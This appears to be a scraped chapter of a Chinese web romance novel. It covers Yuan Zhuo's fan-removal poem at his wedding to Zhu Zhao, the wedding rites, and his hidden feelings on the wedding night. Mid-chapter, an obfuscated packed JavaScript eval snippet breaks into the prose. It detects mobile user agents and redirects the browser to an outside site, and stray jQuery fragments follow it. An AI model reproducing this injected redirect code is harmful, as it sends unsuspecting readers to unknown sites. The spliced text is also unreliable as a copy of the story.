默认冷灰
24号文字
方正启体

53. 维桑与梓(三)

作者:陈悟本书字数:K更新时间:
    一旁醒了一遍酒的李烛横了他一眼:“中郎将这是开心的脸色,你看不出来吗?”


    袁琢向来喜怒不形于色,永远下颌绷得冷硬,可今日他眼底流转的光,微微上扬的尾音,嘴角不受控的弧度,遮都遮不住,早就泄露了他藏不住的雀跃。


    赵楫嘿嘿一笑,难得没有和李烛顶话:“是哦,是我愚钝。”


    “主君,这里。”侍女的声音响起。


    “好。”


    吱呀一声,门被推开。


    又是吱呀一声,门被关上。


    随门而来的夜风只放肆了一会儿就偃旗息鼓了。


    祝昭看不清他的脸,只能透过丝绢的扇面探知一二,身旁的赤华忙神色紧张地向他行礼。


    袁琢身后跟了一列家仆,端着食盘站在了边上。


    袁琢被领到了祝昭面前,虽没看到她如今的模样,或者说,虽然看到过很多次她往常的模样,可他的耳廓却还是很不争气地泛起了薄红。


    李烛和赵楫很默契地对视了一眼,示意其中一个端着笔墨纸砚的侍女将东西放到袁琢面前。


    “中郎将请赋却扇诗。”赵楫笑呵呵地起哄,“这却扇诗要是写得不合新妇心意,新妇可是不肯却扇的哦!”


    此话一出,屋中众人忍不住捂嘴偷笑。


    袁琢眉目微挑,他看着已经摆好了的笔墨纸砚,提起笔来,毫不犹豫地落笔。


    微熹悄染鬓边颜,竹光漫透轻罗扇。


    荷衣半遮骨如兰,连理枝生沧溪畔。


    赤华偷摸着跑到袁琢身后偷看,然后又悄悄地回到祝昭身边与她分享:“姑娘,这中郎将的字迹倒是与你有几分相似嘞!”


    可不嘛!


    祝昭想,他师从我,能不像吗?


    赵楫见袁琢一鼓作气写完了便伸手来拿,袁琢下意识一把按住了纸张,赵楫疑惑地望向他:“还没写完?”


    “我自己拿给她。”袁琢道。


    “哎呀!”赵楫大大咧咧道,“拿什么拿,这却扇诗都是要念出来的!我来念,我来念!”


    袁琢微愣的一瞬间就被赵楫抢走了纸张。


    赵楫清了清嗓子,换上了一副郑重的嗓音:“微熹悄染鬓边颜,竹光漫透轻罗扇。荷衣...半遮骨如兰,连理枝...生沧溪畔。”


    赵楫越读越觉得这首诗耳熟,虽心中疑惑,但是念完后他还是一本正经道:“想不到我们中郎将能文能武,这却扇诗我觉得写的不错!还请祝姑娘给个准话,中郎将这诗可能见姑娘真容哇?”


    李烛也跟在旁边起哄,举止大开大合:“我们中郎将自然文韬武略!否则如何能得圣上青眼,特赐殊荣,允其身着文武袖,以彰其不世之功!此等恩遇,纵观满朝文武,又有几人能得?”


    祝昭双手举扇,微微一笑。


    微熹悄染鬓边颜,大抵是说今日他见她之时晨光着色,她执扇候于青庐,曦光透帘,金辉点染云鬓。


    竹光漫透轻罗扇,她的院落名为郁离院,是为竹子之意,其间种有许多青竹,婆娑映罗衣,轻罗薄如蝉翼,竹影斑驳可见。


    而荷衣非仅指衣纹,更取制芰荷以为衣之高洁,出淤泥不染之品行,他这是将她比喻为荷花,这不禁让她想起了濯陵的莲莲荷花,阵阵清香。


    至于连理枝生沧溪畔倒让她糊涂,毕竟她所知道的沧溪在濯陵,而连理示情坚不摧,她赏析不明白。


    不过无所谓,反正是一场临时的婚事,也不用如此细究。


    袁琢也不知道自己在心慌什么,故作镇定等着祝昭说话。


    于是众人就见那执扇佳人,于轻罗之后,作此评点:“中郎将此诗,清光满纸,泠君自当徐徐却扇以酬。”


    说着,扇沿微降,已然露出新月眉峰:“竹影摇光处,罗扇欲垂时,荷衣半掩处,骨相自峥嵘,沧溪种连理,同牢结发永相随。”


    团扇缓缓放下。


    于是眉峰微现,于是眼波流转,于是面容渐显。


    袁琢望着她灵动的含着笑意的双眸,一时间竟然不知道作何反应,只是全身紧绷,却还是努力地朝祝昭笑了笑。


    很奇妙的感觉。


    紧张,无措,以及圆满。


    生活本身无趣,但是若往后的日子和她这般一直走下去,也不是不可以。


    还是赵楫拍了拍他的肩膀,对着屋内众人戏谑道:“中郎将看呆喽!”


    泱泱大雍朝,向来不缺俊俏的公子,或张扬,或温润,袁琢是两者相合,周正端方,眉清目秀,一眼望去,就像落入了江南山水间。


    却扇后看到他的第一眼,祝昭一下子就想到了四个字——茂林修竹。


    烛下抬眸,质洁若昆山之玉。


    屋里众人顿时大笑了起来,赵楫一边乐呵一边不忘提醒赤华给他俩送合卺酒。


    袁琢被李烛按着坐到了桌前,他在两瓣苦葫芦上斟上酒,朝对面的祝昭点了点头,祝昭也点了点头,端起了自己面上的葫芦。


    红烛摇曳,两人慢慢靠近,仰头饮下葫芦中的酒。


    “这...就算礼成啦?”袁琢抬头询问李烛。


    李烛看着他,心想中郎将怎么此时此刻呆呆的,于是她反问:“我像是知道的样子吗?”


    袁琢心道也是,他又没成过婚。


    还是赵楫扒开人群让大家轮番对着这对新人多说几句祝福的话语,接着就可以退下了。


    “你怎么知道的这么清楚?”李烛一脸探寻的望向他。


    赵楫白了他一眼,满是骄傲:“我爹娶我小娘的时候我都七八岁了,早记事了,这点流程我还记不住?”


    祝福的话挨个的说完了,众人纷纷退下了,祝昭见大门一关上,强撑着的气力一下子烟消云散,立马瘫在了床上,长吁短叹:“这个亲成的好累啊。”


    可是尽管很累,但是她感到很满足,从前这些礼仪她只在书上见到过,如今切实地感受到了,难免会觉得新奇和幸福。


    书上读到的和自己设身处地经历的毕竟不同,她心里很开心,可身上却是疲惫难抵。


    袁琢弯腰收拾着床上到处散落的莲子花生蜜枣,接了句:“累了就睡吧。”


    袁琢说完,祝昭沉默了,她坐起身来:“我们两个人,怎么睡?”


    “你睡床,我打地铺。”袁琢将收拾的东西放在了桌上,又去柜子里搬被褥,理所当然道。


    今天一整天祝昭都不得休息,此刻真的太困太累了,迷迷糊糊地应了一声,倒头就睡。


    半睡半醒,迷迷蒙蒙间,她被晃醒了。


    “你这发冠衣服都还没脱掉,脱掉再睡。”


    祝昭轻飘飘地“嗯”了一声,却没有任何动作,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077294|169261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袁琢见她应了,就转身卸下自己的发冠和厚重的外袍,将被褥铺到了床边,做好一切后他回首去看祝昭,却听到了她平稳均匀的呼吸声。


    袁琢立在烛影里,垂眸盯着床上睡得正欢的祝昭,墨色瞳孔里漫起了一层浅淡的无奈,却又像被温水化开的墨,边缘泛着不易察觉的暖意。


    他喉结轻轻滚动,本想再将她喊起来,出口时却化作了一声几不可闻的叹息。


    他抬手指尖虚点了下她眉心,动作还未触到肌肤便停在半空不动了,转而慌乱地不知该干些什么,但是面对着她,他终究没忍住,用指节极轻地蹭了蹭她发烫的耳廓,声线里掺了丝自己都未察觉的纵容:“不是答应的好好的吗?”


    他弓着背将她头上的玉簪珠饰慢慢抽出,连解带褪地将她嫁衣脱下后又很快地替她盖好被褥时,她忽然抓住他手腕。


    他浑身一僵,低头见她睡得迷蒙,便用另一只手轻轻拍她手背,低声哄道:“我在。”


    说完才将她的手放回被褥中,又想到她那日喝醉了,死活都要抱着他的胳膊,直到后来他将枕头塞到了她手里她才放过他,他于是又去柜子里拿了个枕头塞到了她怀里,果不其然,她心满意足地抱着它蹭了蹭,袁琢笑着摇了摇头,他转身要去吹灭蜡烛,夜风恰巧卷起案头那张却扇诗稿。


    案上宣纸泛着墨痕,二十八个字在烛下静静躺着,旁人只当是应景写的却扇诗,却不知他早把这诗练了无数遍。


    他爱读书爱文字,却不是能随口成诗的人。


    若让他当即想出一首诗,他必然是头脑空白,握着笔杆子落不下一个字。


    所以这首诗他早早就备下了,躲在书房里一遍遍写,废纸扔了一堆,正因先前下过这番功夫,今日提笔时才没露怯,稳稳当当把字落在纸上。


    可当真当他完完整整地写下这首却扇诗时,却不敢将这首诗交给祝昭看。


    他原以为那些华丽辞藻不过是虚词,可在洞房花烛之时他才惊觉诗句里藏着的,竟是自己都未曾察觉的私心。


    那双清泠如溪的眼,那掩在她门前亭亭荷叶下透出的清峭风骨,于沧溪畔中赠他莲蓬的女郎,如今成了他的妻。


    他有千言万语,最终却只化作一句,混在喧闹的喜乐声中。


    ——连理枝生沧溪畔。


    笔下所写的诗被赵楫读出的那一刻,他终于敢正视自己的狼狈,也认清了自己的内心,他是真想与她一生一世的。


    只是她是不会被任何人束缚住,而他却又是一个心甘情愿被阿翁束缚住的人。


    他也认清了他们二人的绝无可能。


    只是想到往后漫长的时间里再也见不到她,难免哽咽。


    他转身吹灭烛火,钻进了自己铺在地下的被褥中。


    月光从窗棂漏了进来,在地板上投下银边,此刻他们二人隔着这般近的距离,能清晰听见她细微的呼吸声。


    从前在禁军时免不了为元安守夜,望着茫茫灯火只觉天地辽阔,如今守在这方寸床边,却生出从未有过的踏实感。


    日后要分离又如何,此刻她能陪在自己的身旁就足够了,他忽然庆幸当初的笨拙与执拗,还好当时他执意为了名录之事将她留下。


    还好他偷了这半刻天光。


    还好。


    他的嘴角极轻地勾了下,又迅速压平。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)